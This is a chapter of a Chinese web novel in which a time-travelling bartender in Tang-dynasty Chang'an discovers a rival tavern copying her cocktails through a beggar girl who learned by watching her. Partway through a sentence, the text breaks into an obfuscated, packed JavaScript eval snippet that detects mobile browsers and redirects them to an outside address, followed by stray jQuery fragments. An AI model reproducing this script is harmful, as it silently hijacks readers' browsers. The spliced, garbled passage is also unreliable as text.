默认冷灰
24号文字
方正启体

13. 如何成为调酒师?

作者:林砬子本书字数:K更新时间:
    “好了,我们来讨论一件非常严肃甚至关乎生死的问题吧。”


    五月末的炎热里,鹿金藏难得在琥珀光开了场全员会议。她把所有人召集在小院,把四月账本拿出来。


    账本本该藏起来的,是因为叶礼燕还在忙他东市那家珠宝店的装修,没时间常跑来这里看店,账本才由塞姆和阿尔曼看完,每月去汇报的。


    “最近生意不好啊。”阿尔曼坐在阴凉处乘凉。


    “夏天,我们还有冰窖,应该是鸡尾酒卖的最好的时候啊!”鹿金藏猛垂桌子,满脸悲愤:“可为什么,我们的鸡尾酒销量会下降!?最近来我们店的客人都明显变少了!甚至越来越少了!”


    “会不会是小吃不对?”翠微拿袖子轻挡住下唇:“最近做的都是水果类小吃,没怎么做肉类的。”


    “可之前做酱肉大家都不点啊。”刘玉反驳:“我咋感觉,来咱这儿喝酒的不是爱吃藕粉桂花糖糕这类甜的,就是水果和蔬菜这种清口的?”


    毕竟鸡尾酒本身甜,肯定清爽的更好下酒。


    所以到底怎么回事儿?鸡尾酒这么快就被厌弃了吗?不应该啊,按照唐朝人对糖的喜爱程度,鸡尾酒明明都在唐朝人喜欢的点上才对。


    “黄酒太麻烦,我放弃自酿准备买现成的了,可米酒也是甜口的,大家都爱喝。”鹿金藏双手交叠放于唇前:“来的客人也更爱点鸡尾酒。所以为什么客人越来越少了?总不可能是有人开了其他酒吧吧?”


    好像不太可能,鹿金藏知道再怎么有天赋的调酒师,也得有人教才学的会。


    自己还没收徒弟呢,现在全长安也不可能找到第二个调酒师!虽然心酸但这可是事实!


    “看来我真得赶紧创新了。好在最近有点想法……”


    “金藏!”杨老板娘那洪亮的嗓门从大门口穿透走廊,传到后院来:“你这姑娘太不厚道啦,在东市开新店怎么不告诉姐姐呀!”


    “……啊?”


    *


    东市,琥珀光楼内,鹿金藏看着人来人往的宾客,以及明显仿照自家吧台建造的调酒操作台,表情要多难看有多难看。


    不仅名字仿照自家店面,居然连操作台都抄袭了!难不成是自己熟客里混进了竞争对手?


    随她一起来得翠微观察到菜品,拽住她衣袖:“老板,你看,他们用鸡尾酒配清蒸羊肉。”


    鹿金藏跟翠微视线看过去,人都要气晕了!居然是自己之前做过的螺丝起子!合着橙子好榨汁是吧?再说羊肉那么肥,配这么甜的酒不腻得慌吗?


    客人吃的倒是挺开心,不过很明显几口之后就不怎么吃羊肉了。


    “不会给客人搭配小食的店真可怕。”


    鹿金藏嫌弃的挪开视线,与窗口坐着的二人视线交汇。


    看清对方她更恼火了,三两步过去,一把拽住叶礼燕的手,声泪俱下控诉起来:“东家,怎么你也被骗了吗?我虽说过要在东市开,可肯定会用原名,也不对客人这么不细节啊!”


    是的,坐在窗边的就是叶礼燕以及一位不认识的胡人青年,看着和他差不多大,打扮精细,见到自己和翠微就不挪开视线了。


    “鹿老板这么没良心吗?我还不是为了你才来的?”叶礼燕并未抽回手,耸耸肩:“昨日我大哥带商队回来,说什么都要去找阿尔曼,结果找错地方来了这里。我才知这儿有家酒楼,也叫琥珀光,这才来一探究竟的。”


    “什么?东家你竟如此关心我们的生意!我飘零半生未遇明主,遇到你真是三生有幸啊!”


    鹿金藏漂亮话一套又一套,叶礼燕是习惯了,他身边那位大哥却没习惯。


    大哥的视线在叶礼燕和鹿金藏身上来回挪动,最后忽然问鹿金藏:“这位妹妹都说上三生有幸了,是看上我二弟哪儿了?说出来,哥哥替你做个媒?”


    叶礼燕同她介绍起来,大哥叫多兰,专管家中商队,平时最爱带商队全世界跑买东西。


    嗯……我是现代来的女性,喜欢看漂亮男人的……算了……总之鹿金藏再次直白大胆的将眼神落下叶礼燕胸肌上。


    翠微羞得脸通红,拽住鹿金藏袖子让她别再看了,多兰震撼后又嗤笑看向叶礼燕。


    而正主明显已经习惯了:“又看起来了?不知道有什么好看的。”


    “有对比才明显,你的明显比多兰大哥的大。”话出口,鹿金藏赶紧捂住嘴,连拍几下,合掌鞠躬道歉。


    多兰哈哈大笑:“难怪燕子你同她合作,鹿老板真的很有趣啊!我还真没见过这么大胆的姑娘呢。”他凑到叶礼燕耳边,语气种有几分戏谑:“要不要给你说媒啊?她这么调戏你,你都没抗拒,感情不一般啊。”


    “你话太多了,大哥。别忘了咱们到底是来干什么的。”叶礼燕拒绝回答。


    正说着,店小二送来杯淡紫色透明酒,放到桌上说这是紫苏特调便走。


    几人视线都落在鹿金藏身上。谁都知道,这是鹿金藏研究出的第一种酒,虽然鹿金藏不满意,但架不住来这儿的人爱喝。


    鹿金藏表情难看,端起酒来仔细观察,品到口中便发现不对。


    酒得形似不得神似啊,自己的紫苏特调蔗糖不会加这么多,而且摇晃不到位,没有泡沫,口感缺少了气体充盈的绵密。


    “我或者经常来我们家喝酒的人肯定常的出不同,但对于不常喝特调饮品的人来说,味道肯定是一样的。”鹿金藏对酒评价不高:“他这一杯多少钱?”


    “十二文。”叶礼燕手指轮转敲打桌面,另一只手托腮,语气深沉:“我看了菜谱,所有你做过的酒,他这里都有,都比你少三文钱。”


    “那他们不会亏本吗?”翠微不解。


    “还真不一定。”鹿金藏烦躁地上手搓揉自己发丝:“咱们酿酒的成本比其他酒楼做饭的成本肯定要低,所以我赚钱赚的多也有溢价高的原因。他这边都用烧刀子代替咱们的伏特加和其他酒,嗯……定价十二文也不会比咱们少赚的。”


    遇到恶性竞争和价格战了。真没想到穿越到古代还能遇到这种事。动摇自身特殊性,还影响自己赚钱的事突然出现,让鹿金藏烦的不行。


    更让人烦躁的是,本该在吧台的调酒师出来了。这是个很瘦削的小姑娘,脸上看不出什么神色和表情,脸绷得紧紧的,看着紧张又有种隐秘的回避感。


    她来到几人桌前,拱手作揖后拿起瓷壶。


    那壶里也不知是什么,她摇的动作却熟练,尽管捏的是细长瓷壶,却学着鹿金藏的动作一手盖住瓶颈和塞子,一手托住壶底,上下摇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463433|201286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晃,空中画八字,冰块和水接触的声音在空中回荡。


    鹿金藏越看脸越黑,直到最后,她打开瓶塞,在瓷杯种倒出乳白酒水与细密碎冰,一杯柠檬风情落地,没有琉璃盏,没有伏特加,模样却和鹿金藏做的一模一样。


    “你……你是不是杏儿?”翠微认出这姑娘,神色间有些担忧:“你有四五日没到这边乞讨了,我和刘姐这两天有空就到处找你呢。”她蹙眉问起:“你爹呢?你平日不和你爹乞讨的吗?”


    “你们认识?”叶礼燕手指停止敲打动作。


    “认识的,杏儿原来是平康坊附近的乞儿,有次我和刘姐丢酒糟时看她太小,给她拿了点吃的,之后她就总来,我们有剩饭也都给她一口。”


    “我居然不知道还有这种事情!”鹿金藏看看杏儿又看看翠微:“哦,难怪咱家从来不剩饭呢。可,她怎么学会调酒的?”


    “还不是鹿老板自个儿不仔细?有个小乞丐天天在你家门口看你调酒,你都没注意?”


    尖酸刻薄的声音从远处传来,李夫人挤到他们桌边,双手盖在杏儿瘦小的肩上,动作亲密,神色上却不见丝毫亲近。


    “这小乞儿天天在你窗口趴着看,你那点技术,她看就看会了。要不是你没礼貌把我赶走,我还得不着这小家伙呢。”李夫人拿帕子掩唇笑起:“他爹呀,三两银子就把她卖给我了!鹿老板你看,你这不亏大了?”


    “你——”


    “鹿老板呀。你能做的我都能做,你做不了的,我调教调教这,小姑娘也都会做了。比起在我这儿耍尖要强,不如还是想想自己被赶出长安城,未来得做什么活计吧?”


    全程,杏儿没说一句话,只用一种歉意而复杂的眼神看向翠微,最终又垂下头去。


    一行四人就这么被赶出琥珀光楼——或者说是自己跑走更准确些。


    鹿金藏还埋怨翠微两句:“你倒是跟我说你在帮这么个小姑娘啊。她看着才多大?你说一声我也不会不让你把她带回来。”


    “还好心的跟她说什么?既然连藏人这么大的事儿都能背着你,还有什么做不到的?”叶礼燕态度就比鹿金藏强硬多了:“直接赶出去吧!你招的工哪里靠谱?”


    “翠微才不是招的小工呢,翠微是我股东之一!原始股!”鹿金藏抱住翠微,头次跟叶礼燕这么激烈抗争:“再说,心善又不是她的错!要怪难道不该怪杏儿的爹吗?三两银子就把女儿卖了,是个什么东西!”


    “鹿老板,我再强调一次,我是个商人。我不可能做亏本买卖。”叶礼燕态度强硬。


    “不就是解决方案吗?我有的啊!”鹿金藏伸出手指:“给我五日,让我把配料凑齐,我肯定把生意抢回来!”


    “你最好是。”叶礼燕那股气上不来下不去,最后化成股叹息吐出去:“你这手艺到底行不行啊?连乞丐都能学会?还是只看就看会了!”


    “说起来,是没见过老板你是什么时候会这东西……”翠微小声道。


    多兰恍然大悟:“难道说这东西其实不用学吗?那我是不是也可以?妹妹你这里缺人手吗?大哥我最喜欢和姑娘们厮混了。”


    这几个说着就开始怀疑起自己手艺,甚至要加入其中,鹿金藏脸上挂起黑线,无奈叉腰:“这个吧……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)